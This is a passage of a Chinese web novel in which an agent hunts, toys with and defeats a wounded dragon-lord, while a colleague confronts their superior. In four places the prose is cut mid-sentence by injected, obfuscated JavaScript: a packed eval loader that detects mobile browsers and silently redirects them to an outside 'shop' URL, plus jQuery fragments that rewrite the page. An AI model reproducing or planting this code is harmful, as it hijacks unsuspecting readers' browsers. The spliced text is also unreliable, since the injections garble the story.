可是不论她怎么挣扎,平日里温柔和气的妈妈都没有放手。 舒懿永远记得那个场景,永远记得……那双手坚决、温柔却不容质疑的力度,覆在她的耳边。妈妈不让她扭头,也不让她听见爸爸和那个家长的争论声,只是拉着她往前走,往和爸爸相反的方向。 她不甘心,也不服气。 为什么不让我去帮爸爸?假如我帮不了他,那又凭什么不让我听,也不让我看?就因为我是小孩子吗? 后来,舒懿终于明白了……为什么爸爸妈妈不愿意让她承担。倾斜的大伞,捂住耳朵的温度,那双毫不动摇的手深深刺痛了她。 每一次,每一次…… 直到那以后。 所以她才暗暗在心里发誓,自己一定要快点长大,变得坚强起来,强大起来…坚强到可以分担所有的一切。 所有的一切。 “……” 舒懿回想着苏子沫最后的表情,心里五味杂陈。 房间一片黑暗,青年被银光照着,只剩一个剪影……苏子沫回头望着她,对她微笑,语气温柔得像在道晚安。可他的瞳子却带着一点说不出的空虚和厌倦,仿佛一个孤独而阴郁的鬼魂。 她低下头沉思,看着发信器。 而后,舒懿紧握双拳,深呼吸……再度抬起头时,那双琥珀色的眼瞳已经变得透亮而坚定。 …… 此时正处于黎明前最黑暗的时刻,巨大的森林沉默地伏在地面,与夜幕融为一体,正如一头睡去的巨兽,吞吐着不详的呼吸。 银光乍现,遍体鳞伤的男人踉踉跄跄地从光芒中跌出,一只手按着自己的另一条手臂。 愚妄挣扎着爬起来,呕出几星血点,刚要遁入黑暗的密林,却突然惊恐地瞪大了金色的眼睛。 穿着黑色冲锋衣的青年就站在它面前。 他恶作剧般比了一个“枪”的手势,食指正对准它的眉心: “晚上好,哈哈哈哈,惊喜吗?” 愚妄扭头就逃,撑着重伤的身体往森林里遁去。 苏子沫歪了一下头:“真没礼貌。” 他微微动了一下手指,巨龙被念力强行拽了回来。青年晃晃悠悠地走过去,凑近它: “为什么要跑?不喜欢这个惊喜吗?” “……” “不知道你有没有听过人类的一句俗语,‘讲文明,懂礼貌’。人们理应这样做,不然就是错的。所以就算你不喜欢……” 苏子沫揪住男人额角的头发,把它用力拽近自己,强迫对方直视那双冷得刺骨的蓝眼睛: “也应该说声谢谢,对不对?” 愚妄一时之间不知该如何处理。面前的青年精神状态似乎不像个正常人,假如在房间里算是“冷静果断”,那么现在…… 简直像是挣脱了什么枷锁。 “快、说、谢谢。” 青年的声音变得冰冷,带着一种恐怖的失望。 “谢……” 巨龙还是妥协了。现在的关键是如何逃跑,如果这些细节能够使这个人类放松警惕,那就根本无伤大雅。 苏子沫的表情缓和下来,自顾自地继续说: “不对,这只是个小错误。朋友之间应该互相谅解,抱歉,我不该这样……” 愚妄不敢出声,生怕又戳到了这个人什么诡异的雷区。 “好吧,我错了。你想活下去吗?我可以给你个机会。” 苏子沫放开了揪着它头发的手,后退几步,居高临下地看着它。 “你说的是真的……?如果吾没有猜错的话,你不是个执行员吗?” 巨龙终于抬起眼睛,心里涌起一丝希望。他没必要在占据绝对优势的时候这样说,要么是骗局,要么……可看他的精神状态,没准这个疯子是认真的。 “当然。” 苏子沫满不在乎地笑了,似乎对自己的主意感到满意。 “执行员?哈哈,那种事情又不重要。这里只有我和你,处理局不可能知道,那么这就只是一次普通的任务失败,不是吗?而既然我错了,就要接受惩罚。” “……” “啊,你知道吗,以前我特别羡慕能在一起玩得不分彼此的人,他们关系真好啊,我总是想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385370|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和他们一起玩…哈,明明知道他们都会排挤我,我还假装不知情地往上贴。我记得,很久以前他们喜欢玩的一个游戏叫……哈哈,对了,捉迷藏。” 巨龙仿佛预感到了什么。 “他们每次都打发我去抓人,其实这个游戏真的很无聊。我的五感都异于常人,更别提还有生命能量波动这种东西……他们真正喜欢的是,让我数很长时间的秒,然后自己回家。或者是在找人的时候给我使绊子,挺有趣,对不对?当然了,我可不是这种人。做人,还是要讲文明,懂礼貌,哈哈哈哈哈哈。” 苏子沫抱着胳膊,他垂下浓密的睫毛,看起来似乎有点伤心似的……可他身上那种沉重、仿佛故意收敛的压迫感和这种甚至称得上委屈的话语混合在一起,错位感让愚妄一阵恶寒。 他的话格外多,但并不像是在和对方对话,倒像是在自顾自地倾泄什么东西一样。 “我才不在乎执行员什么的呢。我们来玩游戏吧,领主大人?就来玩捉迷藏,这森林不是很适合吗?那种旧式的游戏,规则不变,我给您一分钟时间。半个小时内,看看我能不能找到您。要是您赢了,我就放您离开。要是您输了……您就把该说的说了,然后快点去死吧。” 他敲敲自己电子表的表盘,在唇边竖起一根手指,笑着说: “明白了吗?” 不等愚妄同意,苏子沫就自顾自地开始倒数。那低低的读秒声正如倒悬在巨龙颈后的利剑,强迫它连滚带爬地往森林里逃。 看着巨龙仓皇的背影,青年笑了笑。 他难得遇见领主级的怪物,虽然愚妄不知道因为什么实力大损,估计只能达到次城级的层次。不过领主级就是领主级,苏子沫对困兽的背水一搏很有兴趣,何况还能多收集一些相关的资料。 至于奈特会不会再次使用传送技术,那得看她是否遵守,有没有好好上锁。嗯…下意识相信了吗?这么一看他有点失算,居然给猎物留了一线生机,这可不是他的风格。 ……也挺好玩。 游戏就是要能翻盘才有意思,赌博也不过如此。假如不下注,没法承担失去什么东西的风险,就只不过是在过家家。 电子表的数字跳动了。 “It''s game time.” 苏子沫笑笑,走进了森林黑暗的腹中。 17. 落子 舒懿按下了发信器,拧转黄铜的怀表。 指针顿了一下,秒、分、时三根针尖划过不同的扇形,在12:00处重合。表盘滑开,细小的银光电流一般蜿蜒而行,沿着旋转的齿轮汇入中心。 男人带着笑意的声音在黑夜中响起: “小姐,您有什么事?” “我想请您帮一个忙。” 舒懿紧紧攥着发信器,以一种镇静又严肃的口气陈述。 “苏子沫在执行过程中没有按照计划,而是将发信器留给了我,自己只身追着逃逸的目标目标离开了。格温先生,我想请您和我一起去找他。” “我拒绝。” 格温的声音变得严峻: “说实话,我并不感到意外……苏先生就是这样,他身上有种极具张力的剑走偏锋,普通的规则对他来说只是束缚罢了。小姐,您明白他为什么要将你留下吗?他自己能做得更好,因为不用保护您,也不用伪装自己。我认为您应当留下,苏先生一定有自己的考虑……抱歉,说了重话。但请不要做多余的事,因为我不想看到苏先生又去收拾别人的烂摊子。” “我知道。” 舒懿清了清嗓子,挺直背脊: “先生,谢谢您的提醒,这些我都清楚。不过我觉得,他的目的应该是想收集资料。” “本次遇见的怪物目前展现出来的能力非常惊人,有巨龙和人型两种形态,攻击方式和能力者很相似,而且还能沟通。这是极不寻常的,而且在见到目标时,他明显觉得惊讶了一瞬间。在我看来,苏子沫作为一个负责任到没人性的人,不可能没有任何理由,放着能歼灭目标不去就是玩……正如您所言,不仅仅是因为我在,房间对大型战斗来说很不方便。” “嗯……您分析确实有些道理。那么,为什么您要去呢?” 舒懿注意到对方瞬间的犹豫,眼睛一亮。有戏! “他既然能自己只身追着逃逸的目标离开,就一定有掌控局面的把握。所以我猜测,他要么会使用钥匙回来,要么直接联系您。这个人不负责打扫战场……无论如何,他都会叫您过去。而我只不过是把这道流程提前了而已。身为执行员,我希望在不影响任务的情况下能有更多参与感。” 格温沉默了。舒懿可以想象男人垂着眼皮思索,嘴角的笑容略有些无奈,却又带着点欣慰。 “您会后悔的。” “为什么?” “非常抱歉,还是不行…苏先生这个人平时逗逗他无所谓,但是要是把您带过去,保不齐会引发什么不良后果……他不喜欢带人就是这个原因。” 舒懿并没有觉得失望,她敏锐地捕捉到了格温口气中的软化和安抚意味。她可以肯定,格温已经动摇了……因为她不像他想象的那么没用,那么害怕她出于个人情绪而搅局的理由就消失了。 问题在于,为什么他要说那句“你会后悔的”?舒懿沉了沉眼睛,感觉不太对劲……假如苏子沫带人会引发不良后果,这个所谓的‘不良后果’又是什么? “好了,小姐,您好好休息……” “等一等,格温先生。” 舒懿蓦地抬头,手心全是汗水。她一直有些猜测,关于整件事所有存在疑点的地方。不能等了,赌一把……! 她一字一顿地说: “您是不是还有什么没告诉我们?” “……” “我们接到您的邀请是上午9点接近10点,而您说,今早检查装置发现被动过,只好遣散了佣人……除非您早起得离谱,不然我认为,这么短的时间就能完成遣散工作不太合理,不是吗?” “哈哈,我的佣人不多,而且他们都很能干,做事情干净利落。” “关键是——既然您是早上检查的,那么怎么能够得出它只袭击封闭房间里睡着的人这个结论?就算有事故,那也只是巧合不是吗?毕竟只存在一个晚上的时间,它不也只能袭击封闭房间里睡着的人吗?” 舒懿面无表情,步步紧逼。 “仅仅根据这点信息,您又是怎么得出它的智能超乎想象这个结论的?那条龙明显有着媲美人类的智慧,它知道谁是房子的主人。杀了房主人不就高枕无忧了吗,它不来找您的原因又是什么?既然您能上锁,它是不是害怕您剥夺【钥匙】……它的害怕也很可疑。” “小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385371|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐……” “我有理由认为,您不仅隐瞒了时间,而且恐怕已经知道怪物的身份……毕竟这种层次的怪物也不多见。” “更可怕的是,既然它这么忌惮您,苏子沫甚至能和您合作……它真的是自己拿到钥匙的吗?这种重要的东西应该会有保护措施吧,怎么会这么容易被夺走。我想问问您,您为什么要……” 枪支上膛,落子,将军。 舒懿深呼吸,落下的尾音仿佛冰冷的亮银色手铐,咔嚓一声铐住罪人的手腕。 “您为什么要把钥匙给它?” “……” 她并不像看上去那么冷静,而是紧张得发抖。 这些所有的一切都没有证据,只是凭借对人一面之词的解读,甚至还有她自己的直觉。舒懿其实很愧疚,毫不客气地对自己的上司说话,还以这样的恶意揣测人家。 自己到底图什么呢? 舒懿自嘲地笑了一下,闭上眼低下头去。他们那么有道理,为什么自己就不能好好待着?又省心,又不得罪人。自己这样……估计完蛋了吧,不过没关系,她不后悔。 “诶呀诶呀,好吧,好吧……小姐,您赢了。” 很久以后,男人带着微许笑意的声音从电话那头传来,有些失真。 舒懿瞪大了眼睛,心脏狂跳。头晕目眩,后知后觉的冷汗爬上她的背脊,她甚至觉得有些虚幻的不真实。 “不愧是您,真厉害,我都要给您鼓掌了……您在威胁我,对吗?小姐。您比我想象中还要聪明,而且大胆。我这样做是有原因的……好吧,我可以带您去,您向我证明了这一点。不过……” 罕见地,格温有些迟疑。 “您能向我保证,无论如何,都不要表现得太过惊讶吗?” “嗯,我保证。谢谢您,格温先生。” 怀表的银光在黑暗中熄灭了,表盘合上,发出一声清脆的扣合声。声音被猛地解放,舒懿这才发现自己的心跳、虫鸣,以及指针一格一格的走表声。 咔、咔、咔、咔…… 舒懿紧紧攥着怀表,冰凉的金属贴在她的掌心,指针旋转的声音如同机械的心跳。 18. 猎人与猎物 愚妄拖着重伤的身体,往黑暗的森林深处逃去。它开始时无暇顾及自己在地面留下的痕迹,只是挣扎着向前,再向前,选择尽量拉开距离。 为什么那个人类能追过来?!男人在心中狠狠咒骂,还好还能再进行转移……这辈子它都不想再遇见一次那种怪物! 奈特拼命地催动着钥匙,可是这一次,无论它反反复复试过多少遍,都没有任何反应。 “!” 钥匙失效了? 它一下子愣在了原地。巨大的恐惧幽幽地从心底爬出来,一下子强力地攥住它的心脏!从那个男人眼皮子底下逃走已经花去了它大半条命,现在根本没办法故技重施……要怎么才能逃脱? 森林的沉默被什么动物的嚎叫打破了。 风冷冷地灌进愚妄的脖颈,额角的汗珠被蒸发,愚妄擂鼓一样躁动的心跳渐渐地平复下来,它深呼吸。 “不对,还有机会…那个家伙说半小时!就算他不遵守,这里也是森林……利用血食修复伤势,伪造前进痕迹,再让沿途的低阶怪物做‘眼睛’拖慢他的行动,尽可能拉开距离。若是不行,也只能利用那家伙的傲慢作为破绽尝试战斗了。” 它变为人形就是为了隐藏气息。只是苏子沫居然能跟随空间转移追过来超出了它的预料,而钥匙失效更是将它逼入了危险的境地。 草丛摇晃了一下,发出沙沙的响声。 “?!” 男人触电一般回头,紧紧盯着草丛。不会……不会是那小子吧!? 是虎。 斑斓的猛兽从黑暗中慢慢踏出,幽幽的黄色兽瞳盯着男人,发出低吼。 它嗅到了诱人的血腥味,和普通的猎物都有所不同。猛虎垂涎欲滴,却又不敢上前。面前站着的似乎只是一个人类,可那双金色的瞳孔虽然微弱,却散发着危险的压迫感。 最终,欲望压倒了本能的警觉,它压低身体,利爪紧缩,发动扑袭——! 男人恶劣地笑了。 …… 和愚妄完全相反,蓝眼睛的青年很从容。他简直像是在景区游玩那样背着手,晃晃悠悠地行走。 夜枭的尖啸在树林中回荡,灌木中传来虫鸣,落叶踩上去,发出微弱的沙沙声。和都市完全不同,腐殖质和草木的清香在鼻腔里盘旋,让他心情很好。愚妄开始时逃跑的时候残存的痕迹还留在草地上,路标一样…… 苏子沫撇了撇嘴,有些不满。他把手背在脑后,叹了口气,突然注意到了不寻常的痕迹。 青年俯下身来,饶有兴致地观察着林中空地上被啃食干净的骨骸。 些许斑斓的毛皮还残留着,爆开的血迹挂在草叶上,像无数晶莹的红色露珠。血腥味还很新鲜,这只野兽被什么东西吃掉了……不,准确来说是被抽干了吗?毕竟啃食不会是这种惨状,也不够快。 苏子沫扑哧一声笑了,仿佛发现了什么诡异的笑点: “哈哈哈,真可怜,连人都没得吃。” 领主级的怪物应该都有这种能力,霸道地抽取其他生物的生命和能量,以最野蛮的方式完成修复或是进化。 从这点来看,愚妄应该会不断地这样做,以求扩大生存的几率。 不过接下来,从这具残骸开始,猎物留下的痕迹就基本消失,有时还能发现伪造的误导路线。苏子沫猜测,巨龙应该已经拉开了距离,也恢复了些许伤势,要开始认真隐藏了。 一声尖锐的嘶叫,黑色小鸟的尸体伴随着苏子沫挥手的动作笔直地从树梢坠落。它的脖子被念力拧断了,眼里诡异的红光消散下去。 这是一种常见的怪物,无危害的黑羽鸟。它们的外表似乎只是一种通体漆黑的小鸟,但族群之间却有着视野共享的能力,在经过某些精神控制类的能力者沟通后,可以用做天然摄像头。 看来高阶的怪物能强制征用低阶怪物的视野。苏子沫低头思索,侧后方扑出的蛇形蟒怪还没来得及合上嘴巴,头和身体就已经断开了。 那就是不止视野,还包括一定的行动。青年没有往后看,而是面无表情地继续往前走。 苏子沫并不着急,因为他本来就不需要通过踪迹来判断猎物的方位。他之所以肯放它逃生,正是因为早已在巨龙身上连接了一条极细的念波。 可怜的小鱼,还不知道自己连着鱼线。 “呀,尊敬的阿里安娜公主,谢谢您帮我指路。” 苏子沫耸耸肩,笑道。 …… 黑夜中模糊的身影耸动着,贪婪地榨取血肉中的能量。血红的液体咕嘟咕嘟地滑动,被吸纳进怪物的身体……男人仰起头,深呼吸,浑身沾满了进食留下的血迹。 “不够,不够……还远远不够!” 它紧紧攥拳,压低声音嘶吼。 半个小时马上就快到了,虽然自己已经基本修复了伤势,可是还完全没办法和那小子抗衡!自己需要的血食根本就不该是这种劣质的东西,而是像能力者,或者其他高阶怪物那样的…… 一路上自己安放的“眼睛”除了前面的部分,并没有被拆除的迹象。那家伙还没有追来,是不是已经放弃了? 男人抹了把嘴角的血迹,起身张望。很好,看来他不在这里……它松了一口气,就要离开—— 背后突然响起了毛骨悚然的歌声。 “丢手绢,丢手绢~ “轻轻地放在,小朋友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385372|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的后面~ “大家不要告诉他~” 冰蓝色眼睛笑盈盈地眯着,傲慢而残酷地俯瞰着自己的猎物。苏子沫几乎是贴着愚妄的耳朵一本正经地在唱幼稚的儿歌,可他压得低低的轻柔语调却仿佛一条剧毒的眼镜蛇,冰冷的蛇信吐在颈侧。 “快点快点捉住他~ “快点、快点、捉~住~他~~哈哈哈哈哈哈哈哈!” ! 愚妄猛地向前扑出,窜出至少十米远,才如临大敌地转过身来盯住青年。 “不好意思,你输了。” 苏子沫被愚妄的样子逗乐了,笑得前仰后合: “真好玩——小鱼,你也差不多恢复了吧?真是过分,非法猎捕、杀害国家重点保护的珍贵、濒危野生动物,情节特别严重的,可是要处十年以上有期徒刑,并处罚金或者没收财产!” 巨龙紧紧盯着这个疯子,拉开架势。 苏子沫不笑了,只是同样平静地站定。 他当然清楚地看见了沿途那些惨烈的尸体,甚至夹杂着一些低阶的怪物。不过苏子沫一向很有耐心,一直不长不短地放着鱼线,直到临近时间才突然收网。 给猎物一点曙光,然后在快要成功时再狠狠掐灭近在咫尺的希望。 青年很享受这个过程。 愚妄猛地抬头,金色的瞳孔里决绝神色一闪。苏子沫正对上那双眼睛,在那决绝里窥出一丝晦暗不明,骤然遭遇,竟有一瞬迟疑。 巨龙发动了突袭。 它的速度快得像闪电,人类的手指突变出利爪和鳞片,转瞬刺向青年的颈侧——!血腥味裹挟了全部的呼吸,苏子沫微眯双眼,往旁边偏斜了不到一厘米,伸出手精准地扣住男人的手臂,单手锁喉,把它往地面重重地摁下! 巨龙痛苦地发出嘶吼,用手去掰青年掐住脖子的手,看上去却那么软弱无力。淡淡的蓝色在黑暗中散发着荧光,苏子沫冷漠的蓝眼睛打量着猎物,失望地叹了口气。 只是错觉吗?青年歪了歪头,难道是他看错了…… 电光火石之间,黑色的虚影悄无声息地弹出男人的袖口,刺入暴涨的蓝色中——! 苏子沫毫无动摇,可下一秒,冰蓝色的瞳孔骤然紧缩。 不详的黑色武器出现在黑夜中,样式像一柄军刺,却生长着血红色的纹路。此刻它们像是活了过来,贪婪地吸吮他周身护障的能量,剑柄处的龙首眼球亮起。 苏子沫猛地退开,可是来不及了,他明显感觉有一部分能量已经被这柄武器抽走……! 血液在血管中燃烧,巨龙一瞬间恢复了自信。 谁为刀俎,谁为鱼肉?谁是猎人,谁又是猎物呢? 19. 怪物 “我早就发现了,你小子虽然能力强度高得惊人,但就是因为强度太高,在控制力方面甚至连一般能力者都不如……” 愚妄冷笑,刀锋一样望着对手。它抬起手臂,深渊般的黑色剑尖直指苏子沫的蓝眼睛。 “而那种程度的能量溢出和无效损耗……已经足够让【噬日】源源不断地补充能源了。这正是你致命的弱点,傲慢的人类,你和他根本没有可比性!” 可它似乎还是想错了。 陷入不利的被动地位,青年却没有一丝一毫的害怕,甚至没有流露出一丁点脱离掌控的失措… 苏子沫垂着眼,从口袋掏出一枚别致的硬币。他随意地往上一抛,古铜色的钱币在黑夜中翻转,边缘反射着亮光。圆形的金属越翻越慢,到达顶点,却没有下落。 金色的流光在金属的圆心绽放,硬币颤抖着拉伸,成为一个悬挂在半空中的环。环内肥皂泡般绚丽的薄膜轻轻波动着七彩的颜色,像是万花筒。 愚妄盯着青年,瞳孔紧缩。 巨龙依旧很谨慎,这个蓝眼睛的人类虽然弱点很清楚,可强大的部分同样毋庸置疑。它不清楚这是在做什么,却也不敢轻举妄动。 苏子沫把手伸进了环中。 长剑出现在黑色的夜幕下,白得耀眼,形制优美流畅。剑刃的寒光似雪,如同新月。 金环重又变成了硬币,落入掌心。苏子沫微笑着,剑尖悬在离地几厘米的地方。 愚妄之龙奈特的表情变了。 它手中这柄黑剑的原貌是巨龙的尖利骨骼,作为领主级怪物的伴生武器,具备一些和主人特质有关的属性。伴生武器原是它们身体的一部分,本就像是活着的东西,鼓胀的心跳几乎要从刃上低吼出来。 长鸣的气息却很安静。安静得不像一柄剑,更像一簇凝结的星芒与月光。 可奈特隐隐觉得不对,这个人类给它的感觉实在是太危险了。握在这样一个人手里,静得让人觉得诡异。 就在它发愣的瞬间,苏子沫猛地踏地。 距离瞬间被拉近,冰蓝色瞳孔里是寥渺的万里冰川,目光却带着诡异的亮。他突前,横斩!白色的剑光在空气中划过巨大的弧形,直指对手的喉咙。 奈特猛地抬起头,上前一步,横剑架住了那柄剑。黑白的剑锋相格,声震如雷! 愚妄愣了一下,惊恐地瞪大了金色的眼睛。 这个人类不是体质变异类的能力者,必然要靠能力灌输才能打出这种层次的近身战。可噬日却没能从那柄剑上抽取到一丝一毫的能量,唯有一片空白的死寂…按理来说这不可能,月光怎么能击溃咆哮的巨龙? 那把剑有问题!! 长鸣的剑身始终在轻微而高频地震动,嗡鸣如同柔美的仕女在月光下抚弦,弦声正似冰泉冷涩,凝绝声歇。然而这柄安静的剑越来越亮,到最后仿佛燃烧着白色的火焰。 清明的声震变得激昂起来,银瓶乍破,水浆迸出! 巨大的声网从白色的剑上扩散出去,瞬间控制了周遭的空间。 苏子沫收剑,拖刃再进!他快得像疾利的闪电,劈斩的力道偏偏还大得惊人。声网蛛丝般拖滞着它的动作,像在水中战斗,愚妄只能勉强格挡住青年狂风暴雨般的进攻,被震得后仰。 在这短短的一秒钟之内,蓝眼睛的青年拧动手腕,剑锋挑起,轻盈的长鸣与噬日剧烈摩擦,跳跃出一溜闪亮的火花,刺向它喉间的挑剑只是虚掩的花招,长鸣剑身倾斜,像是柔韧的蛇刺入男人的左肩。血肉在高频震动的剑刃下分崩离析,青年完全依靠手腕的力量控制剑尖沿着肩头行进,同愚妄擦身而过。 滴答。 苏子沫持剑而立,低头看着一点红宝石般的血迹慢慢爬下长鸣的剑身,转而又抬起头来。几米远处,男人缓缓地半跪下去。它那一下受伤极重,长鸣的剑尖几乎挑断了它的整条左臂,只剩下一层薄薄相连的筋骨皮。 鲜血浸染了它的整个肩头,巨龙按住了自己的肩膀。伤口在缓慢地愈合,它再次站起来,提剑扑上。 只差几步距离,奈特猛地跃起,双手握剑劈斩,肃杀的大弧直指青年的脸!苏子沫以长鸣的白色剑刃横封,架住了这必杀的一击,在它身体尚未落下的空隙内击出左掌,那只手接触到它身体的一瞬,恐怖的念力灌输进来,奈特瞬间眼前一黑,五脏六腑痛得要裂开。 它在空中翻滚,这回落下时已无法维持站立的姿势。巨龙按着胸口,右手支在地上,咽下一口铁锈味的唾沫。 这样下去不行。如果要胜利,必须明白那白色的剑究竟是怎么做到的。奈特还在想着方法,努力站起来,眼前却一片模糊。那被咽下的唾沫这时又一次涌了上来,它看见红色的液体滴落在草叶上。 是血… 苏子沫微微摇头,并没有选择乘胜追击,而是不紧不慢地在说话。 “您感觉怎么样?是不是很惊讶,为什么噬日无法抽取能量了?您知道吗,它其实并不受待见。明明是尽心之作,长鸣的铸造者把这柄剑交给我的时候却说,只有像我这种人才能发挥出它真正的价值,不然就只是一块漂亮的废铁。嗯……请问您想听吗?” 奈特巴不得他多说些话来拖延时间,还有可能给出重要的信息。于是男人喘息着问: “为什么?” “因为虽然震荡属性相当稀有,并且长鸣遇强则强,是罕见的成长型武器……但驱动它需要的能量巨大,更别说长时间维持声震之域了。不过真正的理由,您要不要猜猜看?” 苏子沫友好地耸耸肩,而后冲愚妄一摊手,像是在邀请节目嘉宾。 噬日没能从那把剑上抽取到任何能量,甚至连这小子周身原本的能量溢出都……愚妄身体一震,难以置信地抬头。 怎么会有这样的武器?! 震荡带来的是隔绝、缓冲和折射,噬日之所以没能成功,是因为根本就没办法碰到它?而那声网居然能做到隔绝使用者的能量溢出,现在硬实力有差距的情况下,这样除了刺穿那人类本身之外就没有了解决办法,但根本碰不到他…… “嗯,和您想的不错,是不是很有趣?长鸣真正的作用不在攻击,而在防御——” 苏子沫一抖剑尖,血珠掉在草叶上,帆布鞋向前踏了一步。 手中的利剑不过是盾,真正的剑与矛,从来都是他自己。 …… 几点星辰在漆黑的夜空中闪烁,如同细碎的矿石。极远的地平线微微发蓝,黎明将近,天空睁开了一丝眼睑。 愚妄艰难地杵着剑柄,剑尖扎入地面。噬日所没,碧绿的草叶迅速衰败下去,纠结在一起。 它全身已经挂了好几处彩,可甚至还没能伤到这个青年。苏子沫只是猫戏老鼠一般碾压式地攻击,却又时不时停下,留给它一点喘息的空间。 只是身上的伤口越来越多。 这个人类性格既傲慢又恶劣,却偏偏强得令人火大,这一串连续的快速攻防下来只溅上了点血迹,根本毫发无损。 他从容得像个戴着白手套的音乐家,优雅地指挥着战斗的乐章;又像是个残忍的孩子,强力控制着游戏的规章和进程,稍有不称心就拧下毛绒玩偶的头颅。 “你已经没有手段了吗?” 苏子沫抖去白色剑身上黏稠的血,垂下密长的眼睫。他那仿佛永远刻在脸上的微笑弧度一点一点压下去,声音听起来很失望似的。 仿佛预感到青年将要做的事情,巨龙微微颤抖的双手握住剑柄,做好了拼死一搏的准备。 “那就结束吧。” 然而。 预想中的情景并未出现。漆黑的夜中,唯有无声的风。 一切的声音仿佛消失 天地间一片寂静,没有剑光,没有斩开空气的尖啸,没有声震,只有无数翩飞的白色蝴蝶。 愚妄一瞬间呆了,只是握住剑柄。哪里来的蝴蝶? 直到扇动翅膀的白蝶击穿了它的小腿。 男人不受控制地跌坐下去,它终于看清楚了,那不是蝴蝶,而是白色的名片。它们在念力的控制下微微抖动,浮在空中,的确极像飞舞的蝴蝶。 苏子沫张开左臂,持剑的右手背在身后。他微微欠身,然后抬起头来,把手收回身前,竟是做了个标准的西式见面礼。 而后,他用一种郑重而又认真的口气说: “我叫苏子沫,B分部第九辖区执行员,编号1863。这是我的名片,请您收下。” 它终于感受到了彻彻底底的绝望。 通过念力一瞬间推动名片加速维持威力,防止噬日吸收残留在名片上的能量……而硬质纸片材质远不比金属,原本简单的直线轨道也因破碎而无法预测。 这个人类确实不精于控制,可战斗直觉和天赋却强得惊人,看似散漫,实则滴水不漏…… 霰弹滑出弹膛,白蝶般的弹丸在夜的黑色滑膛中加速,喉缩,集束,飞出透明的枪口—— 印着墨迹的纸沿承受不住如此巨大的速度,荻花般破碎、飞散,一如弹片。漫天的白色名片雪花般飞旋,死亡的蝶群俯冲而下,在巨龙的瞳孔里急速放大。 可它居然没有死。 浑身像被碾过一遍那样疼,蝴蝶在它的身体上留下了无数犁过般的切痕,破碎的翅膀嵌在伤口里。可除了四肢留下的贯穿伤以外,要害处却没有太致命的创口。 “……” 是那个人类故意的……巨龙猛地反应过来,勉强抬起头,就看到苏子沫正低着头俯视着自己。 “你输了。” 冷漠的蓝眼睛毫无波澜,就像在看被玩坏了的破布娃娃。苏子沫随意地开口: “现在能回答我的问题了吗?这样我能给您一个痛快。至少,虽然我的立场和您是敌对的,但大概率和您的敌人也同样。驱使敌人自相残杀,应该是明智的做法。” “……你想问什么?” 青年危险地眯了眯眼,扬起眉毛,长鸣染血的剑尖垂在离地几厘米处的位置: “您是怎么落到这步田地的?只剩次城级的实力,还要借助格温的装置。您在躲谁?” “哈,哈哈哈,哈哈哈哈哈……你是说那男人吗?那个和你一样的怪物……哈哈哈哈……” “怪物?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385373|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青年弯起眼睛,轻声重复。 “我真伤心,您怎么可以这样说我?您不才是怪物吗,我只是个小小的执行员罢了。这么说,所以您在全盛时期被一个人类按在地上摩擦,才被追得到处跑?” “……” “那个人是谁,他对你做了什么?” “……做了什么?” 男人满是血污的脸扯出一个诡异的笑: “你不是看得很清楚吗?那个家伙……不知道出于什么目的,居然在吸取吾类的核心,不然何以至此?哈哈哈哈哈哈,人类?你管他叫人类?” “嗯?” 苏子沫来了兴趣: “他是谁?” “哈,哈哈,吾怎么……吾怎么可能知道?!”它呕出几口血沫,近乎是吼出来的,“那个黑发红眼的男性,看起来是个三十多岁的年轻人,像个幽灵,突然出现,突然就——!” “好,我知道了。稳定一下情绪,对身体有好处。下一个问题——” 苏子沫微笑着,温和地问。 “我和他没办法比,是指控制方面吗?” “啊…哈哈哈,当然不止了,”巨龙讽刺地盯着他,“他是吾见过最强的人类,没有之一,哪怕是你,也不可能——” “他的能力是什么?” “哈,那家伙,几乎没有使用自己的能力,只是凭借单纯的能量碾压就……真该死…吾只知道他能力的外放特征是银色,也许和空间有关,根本没能看出太多具体的内容。” “原来如此,谢谢。最后一个问题——既然如此,您是怎么逃脱的?” 愚妄没有回答他。 金色瞳孔像猫一般紧缩,男人沉默了,似乎在经历什么激烈的思想斗争。 